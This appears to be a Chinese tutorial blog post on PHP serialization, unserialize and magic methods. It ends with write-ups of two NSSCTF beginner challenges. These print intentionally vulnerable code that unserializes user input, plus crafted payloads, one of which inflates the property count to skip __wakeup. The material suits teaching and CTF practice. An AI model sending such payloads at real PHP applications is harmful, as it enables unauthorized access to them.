PHP序列化、反序列化

目录

一、PHP序列化:serialize()

1.对象序列化

2.pop链序列化

3.数组序列化

二、反序列化:unserialize()

三、魔术方法

​四、NSSCTF相关简单题目

[1.[SWPUCTF 2021 新生赛]ez_unserialize](#1.[SWPUCTF 2021 新生赛]ez_unserialize)

[2.[SWPUCTF 2021 新生赛]no_wakeup](#2.[SWPUCTF 2021 新生赛]no_wakeup)


学习参考:

PHP反序列化新手入门学习总结_php反序列化

php反序列化漏洞

一、PHP序列化:serialize()

序列化:是将变量或对象 转换成字符串的过程

用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

复制代码
php序列化的字母标识:

a - 数组 (Array): 一种数据结构,可以存储多个相同类型的元素。
b - 布尔型 (Boolean): 一种数据类型,只有两个可能的值:true 或 false。
d - 双精度浮点数 (Double): 一种数据类型,用于存储双精度浮点数值。
i - 整型 (Integer): 一种数据类型,用于存储整数值。
o - 普通对象 (Common Object): 一个通用的对象类型,它可以是任何类的实例。
r - 引用 (Reference): 指向对象的引用,而不是对象本身。
s - 字符串 (String): 一种数据类型,用于存储文本数据。
C - 自定义对象 (Custom Object): 指由开发者定义的特定类的实例。
O - 类 (Class): 在面向对象编程中,类是一种蓝图或模板,用于创建对象。
N - 空 (Null): 在许多编程语言中,null 表示一个不指向任何对象的特殊值。
R - 指针引用 (Pointer Reference): 一个指针变量,其值为另一个变量的地址。
U - 统一码字符串 (Unicode String): 一种数据类型,用于存储包含各种字符编码的文本数据。

各类型值的serialize序列化:

空字符       null  ->     N;
整型         123   ->     i:123;
浮点型       1.5   ->     d:1.5;
boolean型    true   ->    b:1;
boolean型    fal    ->    b:0;
字符串       "haha"  ->   s:4:"haha";

1.对象序列化

复制代码
<?php
class test                        //定义一个test类
{
	public $test1="ll";           //public是访问修饰符
	protected $test2="hh";
	private $test3="nn";
}
$a=new test();
echo serialize($a);
?>

//输出  O:4:"test":3:{s:5:"test1";s:2:"ll";s:8:" * test2";s:2:"hh";s:11:" test test3";s:2:"nn";}

Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性名

//大写字母O表示对象,4是类名长度,test为类名,表示该类有3个成员属性

//类中变量的个数3:{类型:长度:"值";类型:长度:"值"...以此类推}

protected 和private输出时有不可打印字符,如下图。

复制代码

故类在写payload时通常会使用urlencode()函数编码。

2.pop链序列化

复制代码
<?php
class test1
{
    public $a="ll";
    public $b=true;
    public $c=123;
}
class test2
{
    public $d;
	public $h="hhh";
}
 
$m=new test1();
$n=new test2();
$n->f=$m;
echo serialize($n);
?>

//输出(m的值嵌套在n中)
O:5:"test2":3:{s:1:"d";N;s:1:"h";s:3:"hhh";s:1:"f";O:5:"test1":3:{s:1:"a";s:2:"ll";s:1:"b";b:1;s:1:"c";i:123;}}

3.数组序列化

复制代码
<?php
$a=array("ll",123,true);
echo serialize($a);
?>

//输出  
a:3:{i:0;s:2:"ll";i:1;i:123;i:2;b:1;}
//a表示这是一个数组的序列化,成员属性名为数组的下标,格式 {i:数组下标;类型:长度:"值"; 以此类推}

二、反序列化:unserialize()

反序列化是:将字符串 转换成变量对象的过程

反序列化的结果不能用echo函数,只能用print_r()var_dump()

复制代码
<?php
class test
{
    public $test1="ll";
    public $test2=123;
}
 
$a=new test();
$b=serialize($a);
print_r(unserialize($b));

$c='O:4:"test":2:{s:1:"a";s:3:"666";s:1:"b";i:6666;}';
var_dump(unserialize($c));
?>

//输出
test Object
(
    [test1] => ll
    [test2] => 123
)

object(test)#2 (4) {
  ["test1"]=>
  string(2) "ll"
  ["test2"]=>
  int(123)
  ["a"]=>
  string(3) "666"
  ["b"]=>
  int(6666)
}

三、魔术方法

魔术方法是一个预定好的、在特定情况下自动触发的行为方法

复制代码
__construct()       //类的构造函数,创建对象时触发
__destruct()        //类的析构函数,对象被销毁时触发
__call()            //调用对象不可访问、不存在的方法时触发
__callStatic()      //在静态上下文中调用不可访问的方法时触发
__get()             //调用不可访问、不存在的对象成员属性时触发
__set()             //在给不可访问、不存在的对象成员属性赋值时触发
__isset()           //当对不可访问属性调用isset()或empty()时触发
__unset()           //在不可访问的属性上使用unset()时触发
__invoke()          //把对象当初函数调用时触发
__sleep()           //执行serialize()时,先会调用这个方法
__wakeup()          //执行unserialize()时,先会调用这个方法
__toString()        //把对象当成字符串调用时触发
__clone()           //使用clone关键字拷贝完一个对象后触发
... ...

1.对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法

2.对象被序列化时触发了__sleep(),字符串被反序列化时触发了__wakeup()

3.echo $a 把对象当成字符串输出触发了__toString()

$a() 把对象当成函数执行触发了__invoke()

4.$a->h()调用了不存在的方法触发了__call()方法

四、NSSCTF相关简单题目

1.[SWPUCTF 2021 新生赛]ez_unserialize

打开环境只有一个表情包

查看源代码发现Disallow(禁止抓取),使用robots.txt协议查看,发现/cl45s.php目录

访问得到环境代码

复制代码
<?php
error_reporting(0);
show_source("cl45s.php");             // 显示文件 cl45s.php 的源代码

class wllm {                          // 定义一个名为 wllm 的类   
    public $admin;                    // 公共属性 admin
    public $passwd;                   // 公共属性 passwd
    
    public function __construct() {   // 构造函数,用于初始化对象     
        $this->admin = "user";        // 初始化 admin 为 "user"
        $this->passwd = "123456";     // 初始化 passwd 为 "123456"
    }

    public function __destruct() {    // 析构函数,用于在对象不再被引用时执行清理操作
        // 检查 admin 是否为 "admin" 并且 passwd 是否为 "ctf"
        if ($this->admin === "admin" && $this->passwd === "ctf") {            
            include("flag.php");           
            echo $flag;
        } else {            
            echo $this->admin;        // 打印 admin 的值           
            echo $this->passwd;       // 打印 passwd 的值            
            echo "Just a bit more!";  // 打印字符串 "Just a bit more!"
        }
    }
}
$p = $_GET['p'];                       //GET传参p
unserialize($p);                       //反序列化p

?>

admin=admin,passwd=ctf时得到flag,序列化p。

PHP 在线工具 | 菜鸟工具

构造payload,得到flag

复制代码
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

2.[SWPUCTF 2021 新生赛]no_wakeup

打开环境,代码审计

复制代码
<?php

// 设置HTTP头信息,指定内容的类型和字符编码
header("Content-type:text/html;charset=utf-8");

// 关闭错误报告,不显示任何错误信息
error_reporting(0);

// 显示文件class.php的源代码
show_source("class.php");

// 定义一个名为HaHaHa的类
class HaHaHa{

    // 两个公共属性:admin和passwd
    public $admin;
    public $passwd;

    // 构造函数,当创建新对象时自动调用
    public function __construct(){
        // 初始化admin为"user",passwd为"123456"
        $this->admin ="user";
        $this->passwd = "123456";
    }

    // __wakeup魔术方法,当对象被反序列化时自动调用
    public function __wakeup(){
        // 将passwd加密为sha1哈希值
        $this->passwd = sha1($this->passwd);
    }

    // __destruct魔术方法,当对象被销毁时自动调用
    public function __destruct(){
        // 检查admin是否等于"admin"且passwd是否等于"wllm"
        if($this->admin === "admin" && $this->passwd === "wllm"){
            // 如果条件满足,引入flag.php文件,并输出变量$flag的值
            include("flag.php");
            echo $flag;
        }else{
            // 如果条件不满足,输出经过sha1加密的passwd值和"No wake up"字符串
            echo $this->passwd;
            echo "No wake up";
        }
    }
}

// 通过GET请求获取参数p的值,并将其作为反序列化的输入
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

admin=admin,passwd=wllm得到flag,序列化p

复制代码
<?php
class HaHaHa{

    public $admin="admin";
    public $passwd="wllm";
}
$p=new HaHaHa();
echo serialize($p);
?>

但其中多了一个__wakeup的魔术方法

__wakeup函数漏洞原理:当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行

故构造一个大于2对象的payload,得到flag

复制代码
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
相关推荐
ServBay14 小时前
告别面条代码,PSL 5.0 重构 PHP 性能与安全天花板
后端·php
JaguarJack3 天前
FrankenPHP 原生支持 Windows 了
后端·php·服务端
BingoGo3 天前
FrankenPHP 原生支持 Windows 了
后端·php
JaguarJack4 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo4 天前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack5 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay6 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954486 天前
CTF 伪协议
php
BingoGo8 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack8 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端